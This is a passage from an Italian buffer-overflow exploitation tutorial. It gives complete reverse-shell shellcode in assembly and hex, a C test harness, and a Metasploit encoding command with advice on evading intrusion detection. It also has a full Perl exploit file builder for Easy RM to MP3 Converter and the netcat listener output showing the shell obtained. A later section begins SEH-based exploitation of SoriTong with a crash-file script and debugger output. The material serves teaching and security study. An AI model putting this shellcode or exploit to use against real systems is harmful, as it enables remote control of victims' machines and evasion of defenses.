; This is determined by the fact that three symbols are being loaded from dll

call resolve_symbols_for_dll ; Resolve all of the requested kernel32.dll symbols

resolve_winsock_symbols: ; [9] now EDX

add ecx, 0x0c ; Add 0x0c to ECX to indicate that the stop boundary for the ws2_32.dll

; is 8 past the current value in ESI.

; This is determined by the fact that three symbols are being loaded from

ws2_32.dll

xor eax, eax ; Zero EAX so that the high order bytes are zero

mov ax, 0x3233 ; Set the low order bytes of EAX to 32

push eax ; Push the null-terminated string '32' into the stack

push 0x5f327377 ; Push the string 'ws2_' into the stack to complete 'ws2_32'

mov ebx, esp ; Save the pointer to 'ws2_32' in ebx

push ecx ; Preserve ecx as it may be clobbered across the function call

push edx ; Preserve edx as it may be clobbered across the function call

push ebx ; Push argument pointer to 'ws2_32'

call [ebp + 0x04] ; Call LoadLibraryA and map ws2_32.dll into process space

pop edx ; Restore

pop ecx ; Restore

mov edx, eax ; Save the base address of ws2_32.dll in EDX

call resolve_symbols_for_dll ; Resolve all of the requested ws2_32.dll symbols

initialize_cmd: ; Build 'cmd' string

mov eax, 0xff757e74 ; Forge 'cmd' form 0xff757e74

sub eax, 0xff111111 ; Obtain 'cmd\0' by a subtraction

push eax ; Push string into the stack

mov [ebp + 0x30], esp ; Saved ptr to cmd away

initialize_networking: ; WSADATA structure will be build on the stack

xor edx, edx ; Zero EDX

mov dh, 0x03 ; Size of WSADATA struct is 0x190

sub esp, edx ; Allocate space (768 bytes), WSADATA is at a safe position

push esp ; Push argument address of WSADATA

push 0x02 ; Push argument version requested

call [ebp + 0x18] ; Call WSAStartup

add esp, 0x0300 ; Restore stack

create_socket:

xor eax, eax ; Set EAX to 0

push eax ; Push argument DwFlags -> NULL

push eax ; Push argument GROUP -> NULL

push eax ; Push argument LPWSAPROTOCOL_INFO

push eax ; Push argument Proto IPPROTO_TCP

push 0x01 ; Push argument Type SOCK_STREAM

push 0x02 ; Push argument Family AF_INET

call [ebp + 0x10] ; Call WSASocket

mov esi, eax ; Save socket in ESI

prepare_sockaddr_in:

push 0x0101017f ; Push loopback address in network byte order

mov eax, 0x5c110102 ; Value for obtain port number and family

dec ah ; Obtain familiy IPv4 value

push eax ; Push structure

mov ebx, esp ; Move address of sockaddr structure in EBX

do_connect:

xor eax, eax ; Zero EAX

push eax ; Push argument LPQOS -> NULL

push eax ; Push argument LPQOS -> NULL

push eax ; Push argument LPWSABUF -> NULL

push eax ; Push argument LPWSABUF -> NULL

push 0x10 ; Push argument Size of sockaddr structure

push ebx ; Push argument sockaddr structure address

push esi ; Push argument SOCKET

call [ebp + 0x14] ; Call WSAConnect

initilize_startupinfo:

xor ecx, ecx ; Zero ECX

mov cl, 0x54 ; Size of STARTUPINFO and PROCESS_INFORMATION structures

Page 152: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 152 di 193

sub esp, ecx ; Allocate stack space for structures

mov edi, esp ; Save address of STARTUPINFO

push edi ; Preserve EDI

zero_structure:

xor eax, eax ; Zero EAX

rep stosb ; Repeat storing zero at the buffer starting at EDI until ECX is zero

pop edi ; Restore EDI to its original value

initialize_structs:

mov byte [edi], 0x44 ; Set the cb attribute of STARTUPINFO to the size of the structure itself

inc byte [edi + 0x2d] ; Set the STARTF_USESTDHANDLES flag to indicate that std stream should be used

push edi ; Preserve EDI again it will be modified by the stosd

mov eax, esi ; Set EAX to SOCKET descriptor

lea edi, [edi + 0x38] ; Load the effective address of the hStdInput attribute in the struct

stosd ; Set the hStdInput attribute with socket

stosd ; Set the hStdOutput attribute with socket

stosd ; Set the hStdError attribute with socket

pop edi

execute_process:

xor eax, eax ; Zero eax

lea esi, [edi + 0x44] ; Load the effective address of PROCESS_INFORMATION into ESI

push esi ; Push argument pointer to the lpProcessInformation

push edi ; Push argument pointer to the lpStartupInfo

push eax ; Push argument lpStartupDirectory arg as NULL

push eax ; Push argument lpEnvironment

push eax ; Push argument dwCreationFlags

inc eax ; Increment by 1

push eax ; Push argument bInheritHnadles

dec eax ; Decrement EAX back to zero

push eax ; Push argument lpProcessAttributes arg. as NULL

push eax ; Push argument lpProcessAttributes arg. as NULL

push dword [ebp + 0x30] ; Push argument lpCommandLine argument as the pointer to 'cmd'

push eax ; Push argument lpApplicationName as NULL

call [ebp + 0x08] ; Call to CreateProcess

exit_process:

call [ebp + 0x0c] ; Call to ExitProcess

; ==============================================================================

--------- ConnectBack.asm END ------------------------

Il lavoro successivo è compilare ed inserire la shellcode per testarla.

Il solito codice per il test è il seguente:

--------- shellcode_test.c ------------------------

char code[]=

"\xeb\x61\x56\x31\xc0\x64\x8b\x40"

"\x30\x8b\x40\x0c\x8b\x70\x1c\xad"

"\x8b\x40\x08\x5e\xc3\x60\x8b\x6c"

"\x24\x24\x8b\x45\x3c\x8b\x54\x05"

"\x78\x01\xea\x8b\x4a\x18\x8b\x5a"

"\x20\x01\xeb\xe3\x34\x49\x8b\x34"

"\x8b\x01\xee\x31\xff\x31\xc0\xfc"

"\xac\x84\xc0\x74\x07\xc1\xcf\x0d"

"\x01\xc7\xeb\xf4\x3b\x7c\x24\x28"

"\x75\xe1\x8b\x5a\x24\x01\xeb\x66"

"\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb"

"\x8b\x04\x8b\x01\xe8\x89\x44\x24"

"\x1c\x61\xc3\xeb\x2d\xad\x50\x52"

"\xe8\xa8\xff\xff\xff\x89\x07\x83"

Page 153: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 153 di 193

"\xc4\x08\x83\xc7\x04\x39\xce\x75"

"\xec\xc3\x8e\x4e\x0e\xec\x72\xfe"

"\xb3\x16\x7e\xd8\xe2\x73\xd9\x09"

"\xf5\xad\x0c\xba\x2d\xb3\xcb\xed"

"\xfc\x3b\x83\xec\x60\x89\xe5\xeb"

"\x02\xeb\x05\xe8\xf9\xff\xff\xff"

"\x5e\xe8\x5c\xff\xff\xff\x89\xc2"

"\x83\xee\x26\x8d\x7d\x04\x89\xf1"

"\x83\xc1\x0c\xe8\xad\xff\xff\xff"

"\x83\xc1\x0c\x31\xc0\x66\xb8\x33"

"\x32\x50\x68\x77\x73\x32\x5f\x89"

"\xe3\x51\x52\x53\xff\x55\x04\x5a"

"\x59\x89\xc2\xe8\x8d\xff\xff\xff"

"\xb8\x74\x7e\x75\xff\x2d\x11\x11"

"\x11\xff\x50\x89\x65\x30\x31\xd2"

"\xb6\x03\x29\xd4\x54\x6a\x02\xff"

"\x55\x18\x31\xd2\xb6\x03\x01\xd4"

"\x31\xc0\x50\x50\x50\x50\x6a\x01"

"\x6a\x02\xff\x55\x10\x89\xc6\x68"

"\x7f\x01\x01\x01\xb8\x02\x01\x11"

"\x5c\xfe\xcc\x50\x89\xe3\x31\xc0"

"\x50\x50\x50\x50\x6a\x10\x53\x56"

"\xff\x55\x14\x31\xc9\xb1\x54\x29"

"\xcc\x89\xe7\x57\x31\xc0\xf3\xaa"

"\x5f\xc6\x07\x44\xfe\x47\x2d\x57"

"\x89\xf0\x8d\x7f\x38\xab\xab\xab"

"\x5f\x31\xc0\x8d\x77\x44\x56\x57"

"\x50\x50\x50\x40\x50\x48\x50\x50"

"\xff\x75\x30\x50\xff\x55\x08\xff"

"\x55\x0c";

int main(int argc, char **argv)

{

int (*func)();

func = (int (*)()) code;

(int)(*func)();

}

--------- shellcode_test.c END ------------------------

Arrivati a questo punto siamo in grado di utilizzare il nostro shellcode per sfruttare la

vulnerabilità che abbiamo analizzato.

Prima di procedere alla scrittura dello script possiamo aggiungere uno step.

Utilizzando la piattaforma metasploit, rendiamo il codice meno riconoscibile codificandolo.

Abbiamo già visto questo tipo di tecnica nel capitolo 0x10, naturalmente il metodo utilizzato

per codificare è variabile e dipende dall’autore dell’encoder.

All’interno del framework metasploit di back-track versione 5, sono disponibili i seguenti

moduli:

Framework Encoders

==================

Name Rank Description

---- ---- -----------

Page 154: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 154 di 193

cmd/generic_sh good Generic Shell Variable Substitution Command Encoder

cmd/ifs low Generic ${IFS} Substitution Command Encoder

cmd/printf_php_mq good printf(1) via PHP magic_quotes Utility Command Encoder

generic/none normal The "none" Encoder

mipsbe/longxor normal XOR Encoder

mipsle/longxor normal XOR Encoder

php/base64 great PHP Base64 encoder

ppc/longxor normal PPC LongXOR Encoder

ppc/longxor_tag normal PPC LongXOR Encoder

sparc/longxor_tag normal SPARC DWORD XOR Encoder

x64/xor normal XOR Encoder

x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder

x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder

x86/avoid_utf8_tolower manual Avoid UTF8/tolower

x86/call4_dword_xor normal Call+4 Dword XOR Encoder

x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder

x86/context_stat manual stat(2)-based Context Keyed Payload Encoder

x86/context_time manual time(2)-based Context Keyed Payload Encoder

x86/countdown normal Single-byte XOR Countdown Encoder

x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder

x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder

x86/nonalpha low Non-Alpha Encoder

x86/nonupper low Non-Upper Encoder

x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder

x86/single_static_bit manual Single Static Bit

x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder

x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

Per poter utilizzare un encoder dobbiamo trasferire la nostra shellcode in un formato “.bin”. La

procedura è piuttosto semplice, il seguente è lo script in perl che se ne occupa:

--------- pveWritebin.pl ------------------------

#!/usr/bin/perl

# Perl script written by Peter Van Eeckhoutte

# http://www.corelan.be:8800

# This script takes a filename as argument

# will write bytes in \x format to the file

#

if ($#ARGV ne 0) {

print " usage: $0 ".chr(34)."output filename".chr(34)."\n";

exit(0);

}

system("del $ARGV[0]");

my $shellcode=

"Put your shellcode here";

#open file in binary mode

print "Writing to ".$ARGV[0]."\n";

open(FILE,">$ARGV[0]");

binmode FILE;

print FILE $shellcode;

close(FILE);

print "Wrote ".length($shellcode)." bytes to file\n";

Page 155: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 155 di 193

--------- pveWritebin.pl END ------------------------

Una volta fatto abbiamo un file “.bin”.

Utilizziamo msfencode dalla console del framework:

root@bt:~# msfencode -v -e x86/alpha_mixed -t pl -i connbk_opcode.bin -o encoded_opcode.pl

[*] x86/alpha_mixed succeeded with size 754 (iteration=1)

Possiamo anche scegliere di codificarli più volte, per abbassare la probabilità di

intercettazione da parte degli IDS. Basta aggiungere il parametro –c.

Riprendiamo il nostro script per la creazione del file ‘.m3u’, apportiamo le dovute modifiche:

--------- BuildExploitFile.pl ------------------------

# ConnectBack.pl

# Easy RM to MP3 converter local exploit

# Matteo Tosato 2011

# File name

my $file= "crash.m3u";

# Build junk

my $junk= "A" x 26105;

# Return address

# Jmp from muodule to ESP in USER32.dll

my $eip= "\x53\x93\x3a\x7e";

# Build NOP sled

my $nopsled=

"\x90" x 48;

# Connect back shellcode payload

# Encoded with alpha_mixed matasploit framework module (one time)

my $shellcode=

"\x89\xe0\xdb\xd6\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49\x49" .

"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .

"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .

"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .

"\x42\x75\x4a\x49\x5a\x4b\x50\x61\x43\x66\x50\x31\x4f\x30" .

"\x50\x64\x4c\x4b\x43\x70\x50\x30\x4c\x4b\x43\x70\x54\x4c" .

"\x4c\x4b\x54\x30\x45\x4c\x4c\x6d\x4e\x6b\x47\x30\x47\x78" .

"\x43\x6e\x4f\x33\x45\x30\x4e\x6b\x52\x4c\x45\x74\x54\x64" .

"\x4c\x4b\x51\x55\x47\x4c\x4c\x4b\x43\x64\x56\x65\x50\x78" .

"\x43\x31\x5a\x4a\x4e\x6b\x52\x6a\x52\x38\x4e\x6b\x43\x6a" .

"\x51\x30\x43\x31\x5a\x4b\x4b\x53\x47\x44\x52\x69\x4c\x4b" .

"\x50\x34\x4e\x6b\x56\x61\x58\x6e\x50\x31\x49\x6f\x45\x61" .

"\x4f\x30\x4b\x4c\x4c\x6c\x4b\x34\x4f\x30\x52\x54\x54\x47" .

"\x5a\x61\x5a\x6f\x56\x6d\x56\x61\x5a\x67\x5a\x4b\x5a\x54" .

"\x45\x6b\x51\x6c\x45\x74\x47\x58\x54\x35\x4d\x31\x4c\x4b" .

"\x50\x5a\x47\x54\x47\x71\x58\x6b\x43\x56\x4e\x6b\x54\x4c" .

"\x52\x6b\x4e\x6b\x51\x4a\x45\x4c\x56\x61\x5a\x4b\x4e\x6b" .

"\x45\x54\x4e\x6b\x45\x51\x4d\x38\x4f\x79\x50\x44\x47\x54" .

"\x47\x6c\x51\x71\x58\x43\x5a\x4b\x56\x4d\x4c\x6d\x56\x30" .

"\x43\x62\x49\x78\x4d\x78\x4b\x4f\x49\x6f\x4b\x4f\x4e\x69" .

"\x43\x37\x4f\x73\x4f\x34\x56\x68\x4e\x63\x4b\x77\x56\x64" .

Page 156: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 156 di 193

"\x54\x79\x58\x4e\x51\x65\x58\x6c\x49\x53\x4e\x6e\x50\x4e" .

"\x56\x6e\x58\x6c\x50\x72\x49\x6e\x58\x33\x54\x56\x51\x6e" .

"\x49\x48\x5a\x42\x50\x73\x4b\x69\x56\x69\x4b\x45\x4c\x6d" .

"\x56\x6c\x4e\x5a\x56\x4d\x4d\x63\x58\x4b\x5a\x4d\x49\x6c" .

"\x45\x6b\x4d\x53\x58\x6c\x51\x70\x4b\x39\x5a\x45\x5a\x4b" .

"\x47\x72\x58\x6b\x47\x75\x58\x68\x49\x69\x4b\x4f\x4b\x4f" .

"\x49\x6f\x51\x4e\x58\x68\x43\x6c\x49\x6f\x4b\x4f\x49\x6f" .

"\x4b\x39\x58\x42\x4d\x53\x5a\x4e\x47\x56\x4c\x4d\x43\x4d" .

"\x56\x64\x4e\x69\x49\x61\x4f\x73\x4f\x31\x56\x6c\x5a\x48" .

"\x4e\x4d\x49\x6f\x4b\x4f\x4b\x4f\x4f\x73\x4b\x71\x56\x6c" .

"\x50\x31\x4b\x70\x51\x76\x4c\x78\x47\x43\x54\x72\x56\x30" .

"\x50\x68\x54\x37\x51\x63\x45\x62\x43\x6f\x4f\x79\x4b\x53" .

"\x50\x51\x51\x42\x43\x63\x4b\x4f\x52\x75\x54\x44\x43\x6a" .

"\x43\x69\x4c\x49\x5a\x62\x58\x68\x4c\x4d\x49\x6f\x49\x6f" .

"\x49\x6f\x4f\x48\x54\x34\x51\x6e\x54\x35\x49\x6f\x56\x4d" .

"\x54\x51\x56\x71\x47\x61\x49\x6f\x56\x30\x4f\x79\x43\x55" .

"\x50\x30\x50\x31\x58\x52\x4f\x46\x54\x43\x51\x39\x4b\x64" .

"\x51\x44\x43\x5a\x54\x42\x4b\x4f\x50\x55\x54\x58\x50\x31" .

"\x58\x52\x4c\x76\x47\x73\x47\x71\x5a\x74\x50\x31\x4f\x30" .

"\x56\x30\x56\x30\x56\x30\x50\x50\x52\x4a\x56\x61\x51\x7a" .

"\x47\x72\x4b\x4f\x52\x75\x56\x70\x4d\x59\x49\x56\x52\x48" .

"\x43\x4f\x56\x61\x56\x61\x56\x61\x4d\x68\x54\x42\x56\x61" .

"\x56\x71\x43\x6c\x49\x6e\x58\x4c\x52\x70\x4b\x39\x4d\x33" .

"\x54\x71\x49\x50\x50\x50\x56\x30\x56\x30\x50\x50\x51\x7a" .

"\x56\x70\x52\x73\x51\x46\x49\x6f\x50\x55\x52\x34\x50\x31" .

"\x5a\x69\x4e\x51\x43\x64\x54\x69\x58\x4c\x4d\x59\x49\x77" .

"\x56\x37\x45\x61\x4b\x70\x58\x73\x4d\x7a\x43\x6f\x4b\x76" .

"\x43\x37\x50\x44\x4b\x4e\x52\x67\x54\x6d\x43\x67\x4f\x79" .

"\x5a\x50\x4e\x6d\x51\x6f\x50\x38\x4e\x4b\x4c\x6b\x4c\x6b" .

"\x51\x4f\x56\x51\x4b\x70\x4e\x6d\x52\x57\x50\x44\x50\x56" .

"\x52\x77\x56\x30\x52\x70\x56\x30\x43\x70\x56\x30\x52\x68" .

"\x52\x70\x52\x70\x4b\x4f\x52\x55\x54\x70\x56\x30\x4b\x4f" .

"\x50\x55\x56\x68\x4b\x4f\x51\x45\x56\x6c\x41\x41";

# Write to file

open($FILE,">$file");

print $FILE $junk.$eip.$nopsled.$shellcode;

close($FILE);

print "Create file done!";

--------- BuildExploitFile.pl END ------------------------

Passiamo al test finale,

dato che si tratta di una shellcode connect-back, dobbiamo mettere in ascolto preventivamente

netcat,

C:\env\nc11nt>nc -v -l -p 4444

listening on [any] 4444 ...

Ora possiamo procedere ad avviare il programma e caricare il file Crash.m3u generato.

Il risultato al prompt di netcat dovrebbe essere il seguente:

127.1.1.1: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [127.1.1.1] from (UNKNOWN) [127.1.1.1] 1065: NO_DATA

Microsoft Windows XP [Versione 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

Page 157: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 157 di 193

C:\Programmi\Easy RM to MP3 Converter>

0x17] (Arch: NT) - SEH based exploit

Up

SEH stà per “Structured exception handling”.

Su windows una eccezzione è un evento che occorre quando si verifica un evento non previsto

durante il normale flusso di esecuzione di un programma. Queste eccezzioni possono essere di due

tipi. Possono essere eccezzioni hardware (ovvero inizializzate dalla CPU) oppure software

(applicazioni).

Le prime scaturiscono quando il processore si ritrova a eseguire operazioni non previste, come

divisioni per zero o si ritrova ad accedere ad indirizzi non validi.

Le occorrenze delle eccezzioni software sono causate da ciò che l’applicazione stabilisce ed è

solitamente compito del programmatore implementarle, oppure possono essere innescate dal sistema

operativo stesso.

Le SEH sono niente altro che le implementazioni della gestione di questi eventi. Infatti le

routine vengono solitamente appellate con ‘Handler’.

La cosa interessante è che l’indirizzo di queste routine di gestione è posizionato nello stack.

La nostra indagine per capire di che cosa si tratta, può partire scrivendo il seguente codice

C++:

--------- sehtest.cpp ------------------------

#include <stdio.h>

#include <string.h>

#include <windows.h>

#pragma warning(disable,4996)

int ExceptionHandler(void);

int main(int argc, char* argv[])

{

printf("Application executed");

char temp[512];

__try

{

strcpy(temp,argv[1]);

}

__except(ExceptionHandler()) {}

return 0;

}

int ExceptionHandler(void)

{

printf("Exception");

return 0;

}

--------- sehtest.cpp END ------------------------

La memoria è strutturata nel modo seguente:

Page 158: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 158 di 193

L’indirizzo della routine per la gestione dell’eccezione è posizionato sullo stack all’interno

di una struttura dedicata; “exception_registration”.

Questa struttura è lunga 8 byte e contiene 2 elementi da 4; uno è un puntatore all’exception

handler successivo (se c’è), l’altro è l’indirizzo dell’attuale codice gestore dell’eccezione.

(SE Handler).

Page 159: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 159 di 193

Sulla cima del blocco principale, (il blocco della funzione main()), è posizionato un puntatore

alla lista di SEH suddetta. Su macchine intel, quando cerchiamo nel codice disassemblato , noi

vedremo un’istruzione che muove un puntatore DWORD da FS:[0]. Questo ci dice che sicuramente un

exception handler è stato settato per il thread e sarà in grado di intercettare gli errori che

si verificheranno eventualmente. L’opcode per questa istruzione è ‘64A100000000’. Se l’opcode

non viene trovato, signiifca che non c’è alcun exception handler impostato.

Riprendiamo il codice di esempio, compiliamo e produciamo un eseguibile al quale poi ci

attaccheremo con il debugger, affinchè possiamo capire concretamente che cosa si trova in

memoria quando viene utilizzato il costrutto per la gestione degli errori.

Apriamo l’eseguibile con WinDbg.

Executable search path is:

ModLoad: 00400000 00406000 sehtest.exe

ModLoad: 7c910000 7c9c8000 ntdll.dll

ModLoad: 7c800000 7c901000 C:\WINDOWS\system32\kernel32.dll

ModLoad: 78520000 785c3000

C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.1_x-ww_6f74963e\MSVCR90.dll

L’eseguibile è caricato all’indirizzo 0x400000, allora cerchiamo in questo spazio i byte

dell’istruzione citata in precedenza.

0:000> s 400000 l 406000 64 A1

0040100f 64 a1 00 00 00 00 50 81-ec 0c 02 00 00 a1 00 30 d.....P........0

00401110 64 a1 18 00 00 00 8b 70-04 89 5d e4 bf 74 33 40 d......p..]..t3@

00401671 64 a1 00 00 00 00 50 83-ec 08 53 56 57 a1 00 30 d.....P...SVW..0

Questa dimostra che il gestore delle eccezioni è stato installato. Ora eseguiamo il dump della

struttura TEB,

0:000> d fs:[0]

003b:00000000 0c fd 12 00 00 00 13 00-00 e0 12 00 00 00 00 00 ................

003b:00000010 00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................

Seguiamo all’indirizzo indicato:

0:000> d 0012fd0c

0012fd0c ff ff ff ff 20 e9 91 7c-30 b0 92 7c 01 00 00 00 .... ..|0..|....

0012fd1c 00 00 00 00 57 e4 91 7c-30 fd 12 00 00 00 91 7c ....W..|0......|

0xffffffff indica la fine della SEH chain. E’ corretto, dal momento che il programma non è

ancora stato eseguito, windbg è in pausa.

Stessa cosa possiamo vederla con immunity debugger.

Ora, facendo partire il programma, troveremo dei gestori aggiuntivi, dato che vengono aggiunti

solo dopo che il programma è partito:

SEH chain of main thread

Address SE handler

0012FF6C sehtest.00401785

0012FFB0 sehtest.00401785

0012FFE0 kernel32.7C839AD8

Analizzando lo stack troviamo:

0012FF68 00403020 0@. sehtest.00403020

0012FF6C 0012FFB0 °ÿ_. Pointer to next SEH record

Page 160: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 160 di 193

0012FF70 00401785 …_@. SE handler

...

0012FFD4 8054B6B8 ¸¶T€

0012FFD8 0012FFC8 Èÿ_.

0012FFDC 81BE4020 @¾•

0012FFE0 FFFFFFFF ÿÿÿÿ End of SEH chain

0012FFE4 7C839AD8 Øšƒ| SE handler

0012FFE8 7C817080 €p•| kernel32.7C817080

0012FFEC 00000000 ....

0012FFF0 00000000 ....

0012FFF4 00000000 ....

...

Quando si verifica una eccezione nel processo, l’esecuzione salta al primo handler che trova,

altrimenti salta a quello successivo fino a che non viene incontrato quello di default, che è

sempre l’ultimo nella lista.

I gestori di eccezioni formano una catena linkata lungo tutto lo stack.

In teoria quello che dobbiamo fare nel nostro exploit è:

- Causare una eccezione. Senza questa, il SEH handler non viene richiamato.

- Sovrascrivere il puntatore al prossimo record SEH con alcuni jumpcode. (in modo che possa

saltare alla shellcode). Gli jump code sono indirizzi a locazioni che referenziano istruzioni

nella forma: “pop,pop,ret”.

- Sovrascrivere il SE handler con un puntatore ad una istruzione che ci riporterà al prossimo

SEH ed esegue un “jmpcode”.

- La shellcode viene direttamente piazzata dopo il SE handler sovrascritto.

Anche in questo caso, ricorriamo ad un programma vulnerabile per capire meglio come le

sovrascritture degli indirizzi dei gestori possono essere sfruttate per eseguire codice

arbitrario.

Il programma è “Soriting” versione 1. Si tratta di un altro lettore mp3. Questa volta la

vulnerabilità è localizzata nella parte di programma che si occupa di gestire i file per

personalizzare l’aspetto della skin.

Il seguente codice perl crea un file utile per un primo test:

$uitxt= "ui.txt";

my $junk = "A" x 5000;

Page 161: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 161 di 193

open(myfile,">$uitxt");

print myfile $junk;

Posizioniamo il file prodotto nella directory di sistema skin/default.

Quando apriamo il programma esso si arresta quasi subito.

Apriamolo con un debugger per vedere quello che accade. EIP non è affatto sovrascritto. Allora

ciò significa che probabilmente non abbiamo sovrascritto un indirizzo di ritorno, ma altro.

All’interno di Immunity debugger, utilizzare la finestra thread e scegliere sul primo thread

“dump thread data block”. A questo punto possiamo vedere i puntatori alla SEH chain.

Poi nella schermata principale dal menù view scegliamo “SEH chain”.

L’handler punta ad una locazione corrotta. “0x41414141”. In questo modo noi abbiamo la

possibilità di controllare EIP e direzionare lo shellocde dove vogliamo.

Un altro buon metodo di analisi per le eccezioni è quello offerto da WinDbg.

Apriamolo e carichiamo l’eseguibile.

Microsoft (R) Windows Debugger Version 6.11.0001.404 X86

Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: "C:\Program Files\SoriTong\SoriTong.exe"

WARNING: Whitespace at end of path element

Symbol search path is: srv*c:\windows\websymbols*http://msdl.microsoft.com/download/symbols

Executable search path is:

ModLoad: 00400000 004de000 SoriTong.exe

ModLoad: 7c910000 7c9c8000 ntdll.dll

ModLoad: 7c800000 7c901000 C:\WINDOWS\system32\kernel32.dll

ModLoad: 77f40000 77feb000 C:\WINDOWS\system32\ADVAPI32.dll

ModLoad: 77da0000 77e33000 C:\WINDOWS\system32\RPCRT4.dll

...

ModLoad: 7c9d0000 7d1ee000 C:\WINDOWS\system32\SHELL32.dll

ModLoad: 77e90000 77f06000 C:\WINDOWS\system32\SHLWAPI.dll

ModLoad: 76b00000 76b2e000 C:\WINDOWS\system32\WINMM.dll

ModLoad: 774b0000 775ee000 C:\WINDOWS\system32\OLE32.dll

ModLoad: 770f0000 7717b000 C:\WINDOWS\system32\OLEAUT32.dll

(c5c.d34): Break instruction exception - code 80000003 (first chance)

eax=00241eb4 ebx=7ffd5000 ecx=00000001 edx=00000002 esi=00241f48 edi=00241eb4

eip=7c91120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202

ntdll!DbgBreakPoint:

7c91120e cc int 3

diamo il comando ‘g’ + invio per avviare il programma:

0:000> g

ModLoad: 76340000 7635d000 C:\WINDOWS\system32\IMM32.DLL

ModLoad: 773a0000 774a3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-

Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll

ModLoad: 746b0000 746fc000 C:\WINDOWS\system32\MSCTF.dll

...

ModLoad: 71a30000 71a47000 C:\WINDOWS\system32\WS2_32.dll

ModLoad: 71a20000 71a28000 C:\WINDOWS\system32\WS2HELP.dll

ModLoad: 76e70000 76e9f000 C:\WINDOWS\system32\TAPI32.dll

ModLoad: 76e40000 76e4e000 C:\WINDOWS\system32\rtutils.dll

(c5c.d34): Access violation - code c0000005 (first chance)

Page 162: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 162 di 193

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00130000 ebx=00000003 ecx=00000041 edx=00000041 esi=0017f504 edi=0012fd64

eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0 nv up ei pl nz ac po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212

*** WARNING: Unable to verify checksum for SoriTong.exe

*** ERROR: Symbol file could not be found. Defaulted to export symbols for SoriTong.exe -

SoriTong!TmC13_5+0x3ea3:

00422e33 8810 mov byte ptr [eax],dl ds:0023:00130000=41

Ci viene segnalata l’eccezione. Controlliamo lo stack:

0:000> d esp

0012da14 a4 dc aa 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

0012da24 94 da 12 00 00 00 00 00-68 bb 14 00 00 00 00 00 ........h.......

0012da34 00 00 00 00 00 00 00 00-00 00 00 00 44 87 95 7c ............D..|

0012da44 7f 1e 92 7c 00 eb 12 00-00 00 00 00 01 a0 f8 00 ...|............

0012da54 01 00 00 00 24 da 12 00-1a 02 00 00 d4 ed 12 00 ....$...........

0012da64 8f 04 3c 7e 30 88 39 7e-ff ff ff ff 2a 88 39 7e ..<~0.9~....*.9~

0012da74 7b 92 3a 7e 66 d6 00 00-b8 da 12 00 d8 00 4f 5d {.:~f.........O]

0012da84 94 da 12 00 bf fe ff ff-b8 f0 12 00 40 c7 15 00 ............@...

La sequenza di valori 0xf indica la terminazione della SEH chain.

WinDbg dispone del comando “!analyze”. Questo ci riporta una grande quantità di informazioni

riguardo l’eccezione avvenuta:

0:000> !analyze -v

*******************************************************************************

* *

* Exception Analysis *

* *

*******************************************************************************

*** ERROR: Symbol file could not be found. Defaulted to export symbols for

[...] ***

*** ***

*** Type referenced: kernel32!pNlsUserInfo ***

*** ***

*************************************************************************

FAULTING_IP:

SoriTong!TmC13_5+3ea3

00422e33 8810 mov byte ptr [eax],dl

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)

ExceptionAddress: 00422e33 (SoriTong!TmC13_5+0x00003ea3)

ExceptionCode: c0000005 (Access violation)

ExceptionFlags: 00000000

NumberParameters: 2

Parameter[0]: 00000001

Parameter[1]: 00130000

Attempt to write to address 00130000

FAULTING_THREAD: 00000d34

DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE

Page 163: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 163 di 193

PROCESS_NAME: SoriTong.exe

